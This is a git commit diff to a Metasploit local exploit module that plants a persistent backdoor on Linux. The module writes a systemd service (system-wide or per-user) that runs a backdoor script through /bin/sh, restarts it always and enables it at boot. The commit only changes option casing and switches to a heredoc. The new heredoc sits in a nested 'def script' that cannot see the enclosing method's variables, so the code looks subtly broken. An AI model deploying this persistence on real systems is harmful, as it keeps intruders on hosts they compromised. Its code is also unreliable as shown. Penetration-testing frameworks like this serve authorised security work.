Fixed heredoc and advanced options casing.

master
terrorbyte 2019-02-20 14:42:56 -06:00
parent 99ae0d125f
commit 364460a787
No known key found for this signature in database
GPG Key ID: 514C18637CBCF64B
1 changed files with 19 additions and 16 deletions

View File

@ -80,7 +80,7 @@ class MetasploitModule < Msf::Exploit::Local
)
register_advanced_options(
[
OptBool.new('ENABLE', [true, 'Enable the service', true])
OptBool.new('Enable', [true, 'Enable the service', true])
], self.class
)
end
@ -162,7 +162,7 @@ WantedBy=multi-user.target}
print_error('File not written, check permissions.')
return
end
if datastore['ENABLE']
if datastore['Enable']
vprint_status('Enabling service')
cmd_exec("systemctl enable #{service_filename}.service")
end
@ -171,19 +171,22 @@ WantedBy=multi-user.target}
end
def systemd_user(backdoor_path, backdoor_file)
script = %{[Unit]
Description=Start daemon at boot time
After=
Requires=
[Service]
RemainAfterExit=yes
RestartSec=10s
Restart=always
TimeoutStartSec=5
ExecStart=/bin/sh #{backdoor_path}/#{backdoor_file}
[Install]
WantedBy=default.target}
def script
<<~EOF
[Unit]
Description=Start daemon at boot time
After=
Requires=
[Service]
RemainAfterExit=yes
RestartSec=10s
Restart=always
TimeoutStartSec=5
ExecStart=/bin/sh #{backdoor_path}/#{backdoor_file}
[Install]
WantedBy=default.target
EOF
end
service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)
home = cmd_exec('echo ${HOME}')
service_name = "#{home}/.config/systemd/user/#{service_filename}.service"
@ -204,7 +207,7 @@ WantedBy=default.target}
systemd_socket_dir = "/run/user/#{systemd_socket_id}"
vprint_status('Reloading manager configuration')
cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user daemon-reload")
if datastore['ENABLE']
if datastore['Enable']
vprint_status('Enabling service')
cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user enable #{service_filename}.service")
end